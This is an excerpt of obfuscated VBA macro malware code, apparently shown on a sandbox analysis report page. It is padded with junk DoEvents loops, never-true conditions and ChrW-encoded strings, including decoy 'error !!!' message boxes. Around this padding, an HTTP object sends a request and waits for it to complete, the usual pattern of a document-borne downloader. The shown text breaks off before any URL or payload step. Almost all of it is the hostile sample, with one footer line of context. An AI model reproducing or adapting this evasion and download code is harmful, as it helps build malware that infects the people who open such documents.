ojcknjpw As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For ojcknjpw = 0 To 7 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next ojcknjpw 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents: twefhtor = twefhtor + 1 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim vzxwhnwo As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For vzxwhnwo = 0 To 6 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next vzxwhnwo 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Loop 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim grdytmnz As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For grdytmnz = 0 To 9 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next grdytmnz 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq MsgBox (ChrW(101) & ChrW(114) & ChrW(114) & ChrW(111) & ChrW(114) & ChrW(32) & ChrW(33) & ChrW(33) & ChrW(33)) 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq End If 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim hpbedlne As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim dmksinup As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For dmksinup = 0 To 4 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next dmksinup 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq hpbedlne = 1 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Do While hpbedlne < 18 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim jkhjgkeq As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For jkhjgkeq = 0 To 3 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next jkhjgkeq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents: hpbedlne = hpbedlne + 1 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim rlelggdb As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For rlelggdb = 0 To 4 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next rlelggdb 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Loop 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim xqpgnlts As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For xqpgnlts = 0 To 3 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next xqpgnlts 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq kderacuvhjh.send ChrW(70) & ChrW(68) & ChrW(71) & ChrW(68) & ChrW(70) & ChrW(72) 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Do While kderacuvhjh.readystate <> 4 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq If 424467 = 424467 + 1 Then End 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq If 1982 < 37 Then 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim bnjpgkwv As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim nwxablrl As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For nwxablrl = 0 To 3 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next nwxablrl 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq bnjpgkwv = 5 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Do While bnjpgkwv < 37 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim zitgkwss As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For zitgkwss = 0 To 4 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next zitgkwss 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents: bnjpgkwv = bnjpgkwv + 1 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim tgfuqhlq As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For tgfuqhlq = 0 To 3 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next tgfuqhlq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Loop 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim wndskseu As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For wndskseu = 0 To 4 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next wndskseu 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq MsgBox (ChrW(109) & ChrW(108) & ChrW(104) & ChrW(107) & ChrW(120) & ChrW(99) & ChrW(104) & ChrW(120) & ChrW(49) & ChrW(57)) 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq End If 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq If Len(ChrW(109) & ChrW(98) & ChrW(103) & ChrW(111) & ChrW(106) & ChrW(99) & ChrW(110) & ChrW(119) & ChrW(52) & ChrW(50) & ChrW(53) & ChrW(53)) = Len(ChrW(101) & ChrW(102) & ChrW(120) & ChrW(114) & ChrW(100) & ChrW(103) & ChrW(113) & ChrW(109)) Then 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim pfxdaysr As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim kjhcajel As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For kjhcajel = 0 To 4 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next kjhcajel 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq pfxdaysr = 5 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Do While pfxdaysr < 16 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim ldpxpbec As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For ldpxpbec = 0 To 9 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next ldpxpbec 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents: pfxdaysr = pfxdaysr + 1 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim uokllplf As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For uokllplf = 0 To 3 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next uokllplf 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Loop 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim cqysonpc As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For cqysonpc = 0 To 6 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next cqysonpc 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq MsgBox (ChrW(101) & ChrW(114) & ChrW(114) & ChrW(111) & ChrW(114) & ChrW(32) & ChrW(33) & ChrW(33) & ChrW(33)) 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq End If 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim oczjzyah As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim dlclshdl As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For dlclshdl = 0 To 9 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next dlclshdl 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq oczjzyah = 2 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Do While oczjzyah < 68 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim gsnljprn As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For gsnljprn = 0 To 7 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next gsnljprn 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents: oczjzyah = oczjzyah + 1 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim euihbwlh As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For euihbwlh = 0 To 8 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next euihbwlh 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Loop 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim tllmhagk As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For tllmhagk = 0 To 9 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next tllmhagk 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq If 461634 = 461634 + 1 Then End 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq If 4523 < 91 Then 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim heybmzjg As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim icfsixsc As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For icfsixsc = 0 To 5 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next icfsixsc 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq heybmzjg = 8 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Do While heybmzjg < 29 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim izjrpykr As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For izjrpykr = 0 To 5 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next izjrpykr 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents: heybmzjg = heybmzjg + 1 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim olujwery As Integer …

Open this report in the interactive analyzer, or submit your own file for analysis.